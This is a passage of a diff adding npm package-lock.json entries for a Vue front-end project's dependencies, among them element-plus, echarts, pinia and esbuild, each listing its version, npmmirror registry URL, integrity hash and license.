"sha512-YbwwqR/uYpeoP4pu043q+LTDLFBLApUP6VxRihdfNTqu4ubqMlGDLd6ErXhEgsyvY0K6nCs7nggYumAN+9uEuQ==", + "license": "MIT" + }, + "node_modules/de-indent": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/de-indent/-/de-indent-1.0.2.tgz", + "integrity": "sha512-e/1zu3xH5MQryN2zdVaF0OrdNLUbvWxzMbi+iNA6Bky7l1RoP8a2fIbRocyHclXt/arDrrR6lL3TqFD9pMQTsg==", + "dev": true, + "license": "MIT" + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/detect-libc": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/detect-libc/-/detect-libc-2.1.2.tgz", + "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", + "dev": true, + "license": "Apache-2.0", + "optional": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/echarts": { + "version": "5.6.0", + "resolved": "https://registry.npmmirror.com/echarts/-/echarts-5.6.0.tgz", + "integrity": "sha512-oTbVTsXfKuEhxftHqL5xprgLoc0k7uScAwtryCgWF6hPYFLRwOUHiFmHGCBKP5NPFNkDVopOieyUqYGH8Fa3kA==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "2.3.0", + "zrender": "5.6.1" + } + }, + "node_modules/element-plus": { + "version": "2.13.5", + "resolved": "https://registry.npmmirror.com/element-plus/-/element-plus-2.13.5.tgz", + "integrity": "sha512-dmY24fhSREfZN/PuUt0YZigMso7wWzl+B5o+YKNN15kQIn/0hzamsPU+ebj9SES0IbUqsLX1wkrzYmzU8VrVOQ==", + "license": "MIT", + "dependencies": { + "@ctrl/tinycolor": "^4.2.0", + "@element-plus/icons-vue": "^2.3.2", + "@floating-ui/dom": "^1.0.1", + "@popperjs/core": "npm:@sxzz/popperjs-es@^2.11.7", + "@types/lodash": "^4.17.20", + "@types/lodash-es": "^4.17.12", + "@vueuse/core": "12.0.0", + "async-validator": "^4.2.5", + "dayjs": "^1.11.19", + "lodash": "^4.17.23", + "lodash-es": "^4.17.23", + "lodash-unified": "^1.0.3", + "memoize-one": "^6.0.0", + "normalize-wheel-es": "^1.2.0" + }, + "peerDependencies": { + "vue": "^3.3.0" + } + }, + "node_modules/entities": { + "version": "7.0.1", + "resolved": "https://registry.npmmirror.com/entities/-/entities-7.0.1.tgz", + "integrity": "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/esbuild": { + "version": "0.21.5", + "resolved": "https://registry.npmmirror.com/esbuild/-/esbuild-0.21.5.tgz", + "integrity": "sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=12" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.21.5", + "@esbuild/android-arm": "0.21.5", + "@esbuild/android-arm64": "0.21.5", + "@esbuild/android-x64": "0.21.5", + "@esbuild/darwin-arm64": "0.21.5", + "@esbuild/darwin-x64": "0.21.5", + "@esbuild/freebsd-arm64": "0.21.5", + "@esbuild/freebsd-x64": "0.21.5", + "@esbuild/linux-arm": "0.21.5", + "@esbuild/linux-arm64": "0.21.5", + "@esbuild/linux-ia32": "0.21.5", + "@esbuild/linux-loong64": "0.21.5", + "@esbuild/linux-mips64el": "0.21.5", + "@esbuild/linux-ppc64": "0.21.5", + "@esbuild/linux-riscv64": "0.21.5", + "@esbuild/linux-s390x": "0.21.5", + "@esbuild/linux-x64": "0.21.5", + "@esbuild/netbsd-x64": "0.21.5", + "@esbuild/openbsd-x64": "0.21.5", + "@esbuild/sunos-x64": "0.21.5", + "@esbuild/win32-arm64": "0.21.5", + "@esbuild/win32-ia32": "0.21.5", + "@esbuild/win32-x64": "0.21.5" + } + }, + "node_modules/escape-string-regexp": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-5.0.0.tgz", + "integrity": "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", + "license": "MIT" + }, + "node_modules/exsolve": { + "version": "1.0.8", + "resolved": "https://registry.npmmirror.com/exsolve/-/exsolve-1.0.8.tgz", + "integrity": "sha512-LmDxfWXwcTArk8fUEnOfSZpHOJ6zOMUJKOtFLFqJLoKJetuQG874Uc7/Kki7zFLzYybmZhp1M7+98pfMqeX8yA==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-glob": { + "version": "3.3.3", + "resolved": "https://registry.npmmirror.com/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fastq": { + "version": "1.20.1", + "resolved": "https://registry.npmmirror.com/fastq/-/fastq-1.20.1.tgz", + "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", + "dev": true, + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmmirror.com/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/follow-redirects": { + "version": "1.15.11", + "resolved": "https://registry.npmmirror.com/follow-redirects/-/follow-redirects-1.15.11.tgz", + "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/form-data": { + "version": "4.0.5", + "resolved": "https://registry.npmmirror.com/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true, + "license": "MIT", + "bin": { + "he": "bin/he" + } + }, + "node_modules/immutable": { + "version": "5.1.5", + "resolved": "https://registry.npmmirror.com/immutable/-/immutable-5.1.5.tgz", + "integrity": "sha512-t7xcm2siw+hlUM68I+UEOK+z84RzmN59as9DZ7P1l0994DKUWV7UXBMQZVxaoMSRQ+PBZbHCOoBt7a2wxOMt+A==", + "dev": true, + "license": "MIT" + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-core-module": { + "version": "2.16.1", + "resolved": "https://registry.npmmirror.com/is-core-module/-/is-core-module-2.16.1.tgz", + "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==", + "dev": true, + "license": "MIT", + "dependencies": { + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/js-tokens": { + "version": "9.0.1", + "resolved": "https://registry.npmmirror.com/js-tokens/-/js-tokens-9.0.1.tgz", + "integrity": "sha512-mxa9E9ITFOt0ban3j6L5MpjwegGz6lBQmM1IJkWeBZGcMxto50+eWdjC/52xDbS2vy0k7vIMK0Fe2wfL9OQSpQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/local-pkg": { + "version": "0.5.1", + "resolved": "https://registry.npmmirror.com/local-pkg/-/local-pkg-0.5.1.tgz", + "integrity": "sha512-9rrA30MRRP3gBD3HTGnC6cDFpaE1kVDWxWgqWJUN0RvDNAo+Nz/9GxB+nHOH0ifbVFy0hSA1V6vFDvnx54lTEQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "mlly": "^1.7.3", + "pkg-types": "^1.2.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/lodash": { + "version": "4.17.23", + "resolved": "https://registry.npmmirror.com/lodash/-/lodash-4.17.23.tgz", + "integrity": "sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w==", + "license": "MIT" + }, + "node_modules/lodash-es": { + "version": "4.17.23", + "resolved": "https://registry.npmmirror.com/lodash-es/-/lodash-es-4.17.23.tgz", + "integrity": "sha512-kVI48u3PZr38HdYz98UmfPnXl2DXrpdctLrFLCd3kOx1xUkOmpFPx7gCWWM5MPkL/fD8zb+Ph0QzjGFs4+hHWg==", + "license": "MIT" + }, + "node_modules/lodash-unified": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/lodash-unified/-/lodash-unified-1.0.3.tgz", + "integrity": "sha512-WK9qSozxXOD7ZJQlpSqOT+om2ZfcT4yO+03FuzAHD0wF6S0l0090LRPDx3vhTTLZ8cFKpBn+IOcVXK6qOcIlfQ==", + "license": "MIT", + "peerDependencies": { + "@types/lodash-es": "*", + "lodash": "*", + "lodash-es": "*" + } + }, + "node_modules/magic-string": { + "version": "0.30.21", + "resolved": "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.21.tgz", + "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.5" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/memoize-one": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/memoize-one/-/memoize-one-6.0.0.tgz", + "integrity": "sha512-rkpe71W0N0c0Xz6QD0eJETuWAJGnJ9afsl1srmwPrI+yBCkge5EycXXbYRyvL29zZVUWQCY7InPRCv3GDXuZNw==", + "license": "MIT" + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmmirror.com/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmmirror.com/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/micromatch/node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmmirror.com/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmmirror.com/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/minimatch": { + "version": "9.0.9", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-9.0.9.tgz", + "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.2" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/mlly": { + "version": "1.8.1", + "resolved": "https://registry.npmmirror.com/mlly/-/mlly-1.8.1.tgz", + "integrity": "sha512-SnL6sNutTwRWWR/vcmCYHSADjiEesp5TGQQ0pXyLhW5IoeibRlF/CbSLailbB3CNqJUk9cVJ9dUDnbD7GrcHBQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "acorn": "^8.16.0", + "pathe": "^2.0.3", + "pkg-types": "^1.3.1", + "ufo": "^1.6.3" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/muggle-string": { + "version": "0.4.1", + "resolved": "https://registry.npmmirror.com/muggle-string/-/muggle-string-0.4.1.tgz", + "integrity": "sha512-VNTrAak/KhO2i8dqqnqnAHOa3cYBwXEZe9h+D5h/1ZqFSTEFHdM65lR7RoIqq3tBBYavsOXV84NoHXZ0AkPyqQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/nanoid": { + "version": "3.3.11", + "resolved": "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.11.tgz", + "integrity": "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/node-addon-api": { + "version": "7.1.1", + "resolved": "https://registry.npmmirror.com/node-addon-api/-/node-addon-api-7.1.1.tgz", + "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-wheel-es": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/normalize-wheel-es/-/normalize-wheel-es-1.2.0.tgz", + "integrity": "sha512-Wj7+EJQ8mSuXr2iWfnujrimU35R2W4FAErEyTmJoJ7ucwTn2hOUSsRehMb5RSYkxXGTM7Y9QpvPmp++w5ftoJw==", + "license": "BSD-3-Clause" + }, + "node_modules/path-browserify": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/path-browserify/-/path-browserify-1.0.1.tgz", + "integrity": "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==", + "dev": true, + "license": "MIT" + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true, + "license": "MIT" + }, + "node_modules/pathe": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/pathe/-/pathe-2.0.3.tgz", + "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", + "dev": true, + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pinia": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/pinia/-/pinia-2.3.1.tgz", + "integrity": "sha512-khUlZSwt9xXCaTbbxFYBKDc/bWAGWJjOgvxETwkTN7KRm66EeT1ZdZj6i2ceh9sP2Pzqsbc704r2yngBrxBVug==", + "license": "MIT", + "dependencies": { + "@vue/devtools-api": "^6.6.3", + "vue-demi": "^0.14.10" + }, + "funding": { + "url": "https://github.com/sponsors/posva" + }, + 